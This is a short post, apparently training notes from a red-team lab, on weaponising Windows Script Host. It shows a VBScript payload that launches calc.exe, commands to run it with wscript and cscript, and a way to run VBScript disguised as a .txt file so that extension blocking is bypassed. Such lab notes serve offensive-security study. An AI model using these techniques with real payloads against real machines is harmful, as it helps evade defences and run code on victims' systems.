Home [Knowledge] Weaponization and Payloads
Post
Cancel

[Knowledge] Weaponization and Payloads

Windows Scripting Host (WSH)

  • A sample payload
    1
    2
    
    Set shell = WScript.CreateObject("Wscript.Shell")
    shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
    
  • To run the payload from the CMD
    1
    
    c:\Windows\System32>wscript "c:\Users\thm\Desktop\payload.vbs"
    
    1
    
    c:\Windows\System32>cscript.exe "c:\Users\thm\Desktop\payload.vbs"
    

Run vbs if it’s blocked by renaming the file to .txt

1
c:\Windows\System32>wscript /e:VBScript "c:\Users\thm\Desktop\payload.txt"
This post is licensed under CC BY 4.0 by the author.